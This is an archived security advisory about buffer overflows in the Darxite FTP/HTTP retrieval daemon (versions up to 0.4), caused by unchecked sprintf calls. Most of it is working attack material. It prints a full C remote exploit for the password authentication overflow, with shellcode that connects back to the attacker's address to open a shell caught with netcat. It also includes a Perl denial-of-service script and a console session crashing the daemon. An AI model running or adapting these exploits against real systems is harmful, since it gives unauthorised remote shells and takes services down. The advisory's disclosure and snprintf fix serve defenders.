TUCoPS :: Unix :: General :: darxit-1.htm


TUCoPS :: Unix :: General :: darxit-1.htm

Darxite up to 0.4 password overflow
Vulnerability
 darxite
Affected
 All versions up to and including 0.4
Description
 'dethy' found following and Scrippie & dethy exploited it.
 "Darxite" is a daemon, written by Ashley Montanaro, whose job is
 to retrieve files via FTP or HTTP and execute other FTP commands,
 and a number of "client" programs whose jobs are to control the
 daemon.
 1. This is a very simple problem. Vulnerability exist in a number
 of places throughout the code, allowing a local/remote user to
 send more than the predefined buffer causing the server to
 crash, and process die. Daemon does not leave a coredump of the
 memory image since it uses a `case SIGSEGV: ..` but
 nevertheless the program will crash.
 2. Now there is also a passwd authentication remote overflow,
 allowing remote shell access as the uid of the darxite daemon.
 From Library/sockets.c
 char buffer[256];
 ..
 sprintf(buffer, "%s\n", name);
 ..
 sprintf(buffer, "%s\n, password);
 As you can see, specifying more than 256 bytes will cause a
 stack overflow. Scrippie has provided a working demonstration
 exploit, as seen below.
 /*
 Darxite Daemon v0.4 password authentication overflow
 ----------------------------------------------------
 
 I tried to use some easy functions for string creation, and they seem to
 work pretty quick (no more hours of frustration writing for loops :).
 
 As always I used my own shellcode, you should do a "nc -l -p 27002" on the
 machine you fill in as "your IP" and execute this - if it works you'll have
 a shell in the netcat session.
 
 
 -- Scrippie/ronald@grafix.nl
 */
 
 /* Synnergy.net 2000 (c) */
 
 #include <stdio.h>
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include <sys/socket.h>
 #include <stdlib.h>
 #include <string.h>
 
 #define DARX_BUF 1024
 #define NUM_NOPS 1000
 
 int xconnect(unsigned long, unsigned int);
 void readBanner(int socket);
 char *strcreat(char *, char *, int);
 char *stralign(char *, int);
 char *longToChar(unsigned long);
 
 char hellcode[]=
 "\xeb\x7a\x5e\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x8d\x4e"
 "\x1c\xb2\x01\x89\x56\x20\xb2\x06\x89\x56\x24\xb2\x02\x89\x56"
 "\x1c\xcd\x80\x89\x46\x18\x89\x16\x66\xc7\x46\x02\x69\x7a\x89"
 "\x46\x1c\x8d\x06\x89\x46\x20\x80\xc2\x0e\x89\x56\x24\x31\xc0"
 "\x04\x66\x80\xc3\x02\x8d\x4e\x1c\xcd\x80\x31\xc0\x04\x3f\x89"
 "\xc2\x8b\x5e\x18\x31\xc9\xcd\x80\x89\xd0\x41\xcd\x80\x89\xd0"
 "\x41\xcd\x80\x31\xc0\x8d\x7e\x0f\x80\xc1\x07\xf3\xaa\x04\x0b"
 "\x8d\x5e\x08\x89\x5e\x10\x8d\x4e\x10\x31\xd2\xcd\x80\x31\xc0"
 "\xfe\xc0\xcd\x80\xe8\x81\xff\xff\xff\x41\x41\x42\x42\xBB\xBB"
 "\xBB\xBB\x2f\x62\x69\x6e\x2f\x73\x68";
 
 int main(int argc, char **argv)
 {
 int sd;
 unsigned int align=0;
 unsigned long sip, retaddy=0xbffff928;
 char *iploc, *evilstring;
 
 if(argc < 4) {
 printf("Use as: %s <target IP> <target port> <your ip> [ret addy]
 [align]
 \n", argv[0]);
 exit(0);
 }
 
 if((sip = inet_addr(argv[3])) == -1) {
 perror("inet_addr()");
 exit(-1);
 }
 
 if(argc> 4) retaddy = strtoul(argv[4], NULL, 16);
 if(argc> 5) align = atoi(argv[5]);
 
 printf("Using return address: 0x%lx\n", retaddy);
 printf("Using alignment: %d\n", align);
 
 /* Locate the IP position in the shellcode */
 iploc=(char *)strchr(hellcode, 0xBB);
 memcpy((void *) iploc, (void *) &sip, 4);
 
 /* Generate the overflow string */
 
 evilstring = strcreat(NULL, "A", align);
 /* We memory leak 5 bytes here, don't make a service out of this :) */
 evilstring = strcreat(evilstring, longToChar(retaddy), (DARX_BUF+8)>>2);
 evilstring = strcreat(evilstring, "\x90", NUM_NOPS);
 evilstring = strcreat(evilstring, hellcode, 1);
 
 sd = xconnect(inet_addr(argv[1]), atoi(argv[2]));
 
 printf("Connected... Now sending overflow...\n");
 
 send(sd, evilstring, strlen(evilstring)+1, 0);
 
 free(evilstring);
 return(0);
 }
 
 /*
 Returns the socket descriptor to "ip" on "port"
 */
 
 int xconnect(unsigned long ip, unsigned int port)
 {
 struct sockaddr_in sa; /* Sockaddr */
 int sd; /* Socket Descriptor */
 
 if((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
 perror("socket()");
 exit(-1);
 }
 
 memset(&sa, 0x00, sizeof(struct sockaddr_in));
 sa.sin_port=htons(port);
 sa.sin_addr.s_addr=ip;
 
 if(connect(sd, &sa, sizeof(struct sockaddr_in)) == -1) {
 perror("connect()");
 exit(-1);
 }
 
 return(sd);
 }
 
 /*
 Yummy yummy function for easy string creation
 */
 
 char *strcreat(char *dest, char *pattern, int repeat)
 {
 char *ret;
 size_t plen, dlen=0;
 int i;
 
 if(dest) dlen = strlen(dest);
 plen = strlen(pattern);
 
 ret = (char *)realloc(dest, dlen+repeat*plen+1);
 
 for(i=0;i<repeat;i++) {
 strcat(ret, pattern);
 }
 return(ret);
 }
 
 /*
 Converts a long to an array containing this long
 */
 
 char *longToChar(unsigned long blaat)
 {
 unsigned int i;
 char *ret;
 
 ret = (char *)malloc(sizeof(long)+1);
 
 for(i=0;i<sizeof(long);i++) {
 ret[i] = (blaat>> (i<<3)) & 0xff;
 }
 ret[sizeof(long)] = 0x00;
 
 return(ret);
 }
 Below is some of the offending code causing a remote DoS.
 For local users specifying the -f <file> for `darxcmd` will force
 the client to read in an arbitary config file into a buffer of
 limit 4096. Upon connection to the server, darxcmd will crash by
 specifying any of the below parameters.
 From daemon/http.c
 if (strcmp(DX_ProxyHostName, "") && (DX_ProxyPort> 0))
 {
 sprintf(get_string, "GET %s://%s%s HTTP/1.0", file->Protocol,
 file->ActualServer->Name, file->Path);
 }
 else
 {
 sprintf(get_string, "GET %s HTTP/1.0", file->Path);
 }
 sprintf(buffer,
 "%s\r\n"
 "Host: %s\r\n"
 "User-Agent: Darxite/%s\r\n"
 "%s\r\n",
 get_string, file->ActualServer->Name, RELEASE_VER, range);
 
 sprintf(buffer, "\"%s://%s%s\" | \"%s\" | %s | %s | %s | %d",
 file->Protocol, file->Server->Name, file->Path,
 file->LocalPath, file->LogIn, file->Password,
 file->Flags, total_size);
 Likewise in daemon/ftp.c
 char get_buffer[256];
 ..
 sprintf(get_buffer, "%s://%s%s/%s | %s/%s | %s | "
 "%s | %s | %s", file->Protocol,
 file->ActualServer->Name, path_buffer,
 line_ptr, local_path, line_ptr,
 file->LogIn, file->Password, new_flags,
 size);
 .. and daemon/files.c
 char line_buffer[1024];
 ..
 sprintf(line_buffer, "\"%s://%s%s\" | \"%s\" | %s | %s | %s | "
 "%d\n", new_file->Protocol, server->Name,
 new_file->Path, new_file->LocalPath,
 new_file->LogIn, new_file->Password,
 new_file->Flags, new_file->TotalSize);
 
 
 /* list goes on.. */
 Note: by default installation of Darxide the password is blank!
 [ syn:/home/deth ]$ telnet localhost 69
 
 Trying 127.0.0.1...
 Connected to localhost.
 Escape character is '^]'.
 900 Welcome to Darxite 0.4. Enter your password.
 <enter>
 900 Password OK; tell me your name.
 any-name-will-do
 900 "any-name-will-do" connected OK.
 Get [buffer exceeding 1024 chars]
 DX: Segment violation. Lots of features mean lots of bugs.
 Connection closed by foreign host.
 
 [ syn:/home/deth ]$
 
 /* Server has crashed and process killed */
 We could also do something like:
 [ syn:/home/deth ]$ darxget -clocalhost:2000 -o- `perl -e 'print "A"x1024'`
 Enter Passsword for daemon on localhost:
 <enter>
 
 /* Now checking the daemon logs */
 
 DX. Segmentation violation.
 Connection closed by foreign host.
 Although we doubt you'll find many server's running it, here is
 a very basic and trivial perl exploit for proof of concept.
 #!/usr/bin/perl
 # lame DoS
 #
 use Getopt::Std;
 use Socket;
 getopt('s:p', \%args);
 if(!defined($args{s}) && !defined($args{p})){&usage;}
 $serv = $args{s};
 $port = $args{p};
 $foo = "A";
 $bar = 1024;
 $foobar .= $foo x $bar;
 
 $in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
 $paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
 $proto = getprotobyname('tcp') || die("Error: $!\n");
 
 socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
 connect(S, $paddr) || die("Error: $!\n");
 select(S); $| = 1; select(STDOUT);
 
 $res=<S>; print "$res\n";
 sleep 1;
 print S "\r\n";
 $res=<S>; print "$res\n";
 sleep 1;
 print S "guest\n";
 $res=<S>; print "$res\n";
 sleep 1;
 print S $foobar || die("Error: $!\n");
 close(S);
 
 print("killed Darxite successfully. Feeling better now?\n");
 
 sub usage {die("\n\n0ドル -s <server> -p <port>\n\n");}
Solution
 Wait until the next patched version of Darxite comes out, or even
 changed the code yourself if this program is that important to
 you. (snprintf() isn't the hardest thing.)

AltStyle によって変換されたページ (->オリジナル) /

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH